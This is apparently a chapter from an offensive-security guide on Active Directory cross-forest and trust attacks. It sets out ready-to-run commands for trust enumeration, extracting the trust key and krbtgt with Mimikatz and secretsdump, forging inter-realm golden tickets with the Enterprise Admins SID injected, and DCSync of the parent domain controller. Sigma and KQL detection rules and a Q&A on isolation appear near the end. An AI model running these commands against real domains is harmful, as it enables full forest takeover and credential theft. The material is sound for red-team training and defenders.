Cross-Forest and Trust Attacks
Compromising one domain in a forest doesn't always mean all trusted forests fall. Forest trusts, intra-forest child domain trusts, and external trusts each have different security boundaries and different attack paths. This chapter covers trust enumeration, inter-domain referral ticket abuse, trust key extraction and forgery for intra-forest privilege escalation, SID Filtering bypass, and the specific conditions under which forest trust does NOT protect a domain.
You've compromised child.corp.local (the engineering domain) and obtained its krbtgt hash. The parent domain is corp.local — separate security boundary within the same forest. Using the child domain's krbtgt and the Enterprise Admins SID of the parent forest, you forge an inter-realm TGT (extra SID injection) that contains the parent domain's Enterprise Admins SID in the SIDHistory field. The parent DC receives this TGT via Kerberos referral, checks the trust key but not the SIDHistory (SID filtering is off by default for intra-forest trusts), and issues you a service ticket granting Enterprise Admin access across the entire forest.
AD Trust Architecture
Trust Enumeration
# PowerView: enumerate all trusts from current domain
Get-DomainTrust
Get-DomainTrust -Domain corp.local
# Output: SourceName, TargetName, TrustType, TrustDirection, TrustAttributes
# Check if SID filtering is enabled (TrustAttributes bit 0x4 = FILTER_SIDS = quarantine):
Get-ADTrust -Filter * | Select Name,TrustDirection,TrustAttributes |
ForEach-Object {
$filter = $_.TrustAttributes -band 0x4
[PSCustomObject]@{
Name = $_.Name
Direction = $_.TrustDirection
SIDFilteringEnabled = ($filter -eq 4)
}
}
# Map all forest trusts recursively:
Get-DomainTrustMapping
# Reveals the full trust graph — entry points for lateral movement between forests
# LDAP query: enumerate trustedDomain objects directly:
ldap_search_s(ld, "CN=System,DC=corp,DC=local",
LDAP_SCOPE_ONELEVEL, "(objectClass=trustedDomain)",
attrs=["trustType","trustAttributes","trustDirection","flatName"], ...)
# Trust attribute flags:
# 0x01 = NON_TRANSITIVE
# 0x04 = FILTER_SIDS (SID filtering / quarantine enabled)
# 0x08 = FOREST_TRANSITIVE
# 0x40 = WITHIN_FOREST (parent-child / same forest)
Inter-Domain Referral and Golden Ticket with Extra SID
Trust Key Extraction and Forgery
# Step 1: Extract trust key (same method as DCSync, different target)
# The trust key lives as a special object in AD under CN=System
# Mimikatz on child DC:
lsadump::trust /patch
# Output: trust key NT hash and AES256 for each trusted domain
# secretsdump.py targeting the trust account:
secretsdump.py -just-dc-user 'CORP$' corp/childadmin:'Password1!'@childdc.child.corp.local
# Step 2: Forge the inter-realm TGT with extra SID (intra-forest escalation):
kerberos::golden \
/user:FakeAdmin \
/domain:child.corp.local \
/sid:S-1-5-21-CHILD-DOMAIN-SID \
/sids:S-1-5-21-PARENT-DOMAIN-519 \ # Enterprise Admins SID of corp.local
/krbtgt:<child_krbtgt_NT_hash> \
/ptt
# Step 3: Access parent domain resources:
ls \\dc01.corp.local\C$ # should succeed as Enterprise Admin
secretsdump.py -k -no-pass dc01.corp.local # DCSync the parent domain
# Rubeus equivalent:
Rubeus.exe golden \
/rc4:<child_krbtgt_hash> \
/user:FakeAdmin \
/domain:child.corp.local \
/sid:S-1-5-21-CHILD-SID \
/sids:S-1-5-21-PARENT-519 \
/ptt
SID Filtering — When Forest Trusts Actually Protect
| Trust Type | SID Filtering Default | Extra SID Attack Works? | Bypass Condition |
|---|---|---|---|
| Intra-forest parent-child | OFF — SIDHistory trusted | Yes — standard forest takeover | N/A — it works by default |
| Intra-forest shortcut | OFF | Yes | N/A |
| Forest trust (external forest) | ON (quarantine) | No — SIDs from other forest stripped | If admin ran: netdom trust /enablesidhistory |
| External trust (NTLM) | ON | No | Admin disable of SID filter |
| Any trust with Selective Auth | ON — additionally restricts which users can auth | No | Selective auth must be disabled |
Foreign Group Memberships and Cross-Forest Resource Access
# Even without SID injection, cross-forest trusts expose resources.
# A user in corp.local can be a member of a group in partner.com
# if the partner admin added the foreign principal.
# These memberships are not visible in Get-ADUser within corp.local!
# Enumerate foreign group memberships (from corp.local, looking at partner.com):
Get-DomainForeignGroupMember -Domain partner.com
# Returns: GroupDomain=partner.com, GroupName=..., MemberDomain=corp.local, Member=...
# Foreign principals in local groups (check resource DCs in partner.com):
# NET LOCALGROUP Administrators on remote host shows cross-domain members
# that don't appear in standard corp.local user/group enumeration
# From inside corp.local: find groups in other domains containing corp users:
Get-DomainTrust | ForEach-Object {
$td = $_.TargetName
Get-DomainForeignGroupMember -Domain $td 2>$null
}
Detection Engineering
title: Inter-Domain Golden Ticket — Extra SID Contains Enterprise Admins
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
Status: '0x0'
filter_child:
ServiceName|endswith: '$'
# Look for cross-domain TGS requests where the ticket contains
# extra SIDs from the parent domain (visible in DC logs with full Kerberos auditing)
condition: selection AND NOT filter_child
level: medium
title: Trust Key DCSync — Replication of Trust Account Object
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
Properties|contains:
- '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes-All
ObjectName|endswith: '$' # trust account has $ in name e.g. CORP$
filter_legit:
SubjectUserName|endswith: '$'
condition: selection AND NOT filter_legit
level: critical
-- MDE KQL: Kerberos ticket used in parent domain from child domain account
-- (cross-domain lateral movement indicator)
DeviceLogonEvents
| where LogonType == "Network"
| where Protocol == "Kerberos"
| where AccountDomain !in~ ("corp.local") -- cross-domain auth
| where ActionType == "LogonSuccess"
| where AccountName !endswith "$"
| project Timestamp, DeviceName, AccountName, AccountDomain,
RemoteDeviceName, RemoteIP
| order by Timestamp desc
Q&A
What is the concrete security boundary between a parent and child domain in an Active Directory forest, and what would it take to make them actually isolated?
In a standard Active Directory forest, there is no meaningful security boundary between a parent domain and its child domains. The forest itself is the security boundary — not the individual domains within it. This is because of three fundamental design decisions: (1) Automatic bidirectional transitive trust: parent and child domains automatically trust each other, and SID filtering (quarantine) is not applied within a forest. Forged tickets with cross-domain SIDHistory entries are honored. (2) Enterprise Admins and Schema Admins are forest-wide groups that have rights in every domain. A Domain Admin in any child domain can typically escalate to Enterprise Admins by forging a PAC that includes the EA SID (S-1-5-21-rootdomain-519), and the parent domain will honor it. (3) Shared replication and SYSVOL: forest-wide NC partitions (Configuration, Schema) are read by all domains, and SYSVOL is replicated forest-wide, meaning a malicious GPO placed in the forest root can potentially affect child domains.
To achieve genuine isolation between domains within the same forest is architecturally almost impossible within standard AD. The correct approach is to use separate forests with an external trust (with SID filtering and Selective Authentication enabled) if domains genuinely need to be security-isolated. Within a forest, assume that compromise of any domain means the entire forest is at risk — this is the Microsoft-documented design position. Some organizations partially mitigate this by putting "Tier 0" assets (DCs, CA, backup, monitoring) in the root domain and keeping child domains for operations, with explicit controls preventing child domain admins from having paths to Tier 0. But this requires rigorous BloodHound-assisted ACL review maintained continuously, because any new delegation or group membership that crosses the tier boundary re-opens the escalation path.